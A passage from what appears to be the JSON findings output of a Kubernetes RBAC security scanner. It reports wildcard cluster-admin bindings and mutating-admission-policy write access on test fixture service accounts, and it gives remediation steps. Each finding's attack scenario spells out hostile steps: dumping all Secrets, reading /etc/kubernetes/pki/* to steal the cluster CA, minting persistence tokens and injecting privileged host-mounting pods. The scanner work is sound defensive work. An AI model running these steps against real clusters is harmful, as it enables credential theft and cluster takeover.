      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/flux-system/kustomize-controller actually needs. Run `kubectl auth can-i --list  --as=kustomize-controller -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `deepchain-flux-admin`, and verify with `kubectl auth can-i '*' '*' --as=kustomize-controller -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/foothold-exec/foothold-decoy-sa::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/foothold-exec/foothold-decoy-sa`",
    "description": "RBAC rule from ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/foothold-exec/foothold-decoy-sa. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/foothold-exec/foothold-decoy-sa (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=foothold-decoy-sa -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/foothold-exec/foothold-decoy-sa actually needs. Run `kubectl auth can-i --list  --as=foothold-decoy-sa -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `foothold-decoy-admin`, and verify with `kubectl auth can-i '*' '*' --as=foothold-decoy-sa -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/rbac-fixtures/sa-cluster-admin::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/rbac-fixtures/sa-cluster-admin`",
    "description": "RBAC rule from ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/rbac-fixtures/sa-cluster-admin. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/rbac-fixtures/sa-cluster-admin (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=sa-cluster-admin -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/rbac-fixtures/sa-cluster-admin actually needs. Run `kubectl auth can-i --list  --as=sa-cluster-admin -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `crb-cluster-admin`, and verify with `kubectl auth can-i '*' '*' --as=sa-cluster-admin -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/rbac-fixtures/sa-wildcard::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/rbac-fixtures/sa-wildcard`",
    "description": "RBAC rule from ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/rbac-fixtures/sa-wildcard. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/rbac-fixtures/sa-wildcard (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=sa-wildcard -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-wildcard",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-wildcard",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/rbac-fixtures/sa-wildcard actually needs. Run `kubectl auth can-i --list  --as=sa-wildcard -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `crb-wildcard`, and verify with `kubectl auth can-i '*' '*' --as=sa-wildcard -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/foothold-exec/foothold-decoy-sa::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/foothold-exec/foothold-decoy-sa` can rewrite every admitted object",
    "description": "Subject ServiceAccount/foothold-exec/foothold-decoy-sa can write `mutatingadmissionpolicies` (via ClusterRoleBinding `foothold-decoy-admin` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `foothold-decoy-admin` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=foothold-decoy-sa -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=foothold-decoy-sa -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/foothold-exec/foothold-decoy-sa. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=foothold-decoy-sa -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/map-fixtures/sa-mutating-policy::mutatingadmissionpolicies,mutatingadmissionpolicybindings",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/map-fixtures/sa-mutating-policy` can rewrite every admitted object",
    "description": "Subject ServiceAccount/map-fixtures/sa-mutating-policy can write `mutatingadmissionpolicies` (via ClusterRoleBinding `crb-mutating-policy` : ClusterRole `cr-mutating-policy`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `crb-mutating-policy` : ClusterRole `cr-mutating-policy`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-mutating-policy",
      "namespace": "map-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-mutating-policy",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=sa-mutating-policy -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=sa-mutating-policy -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
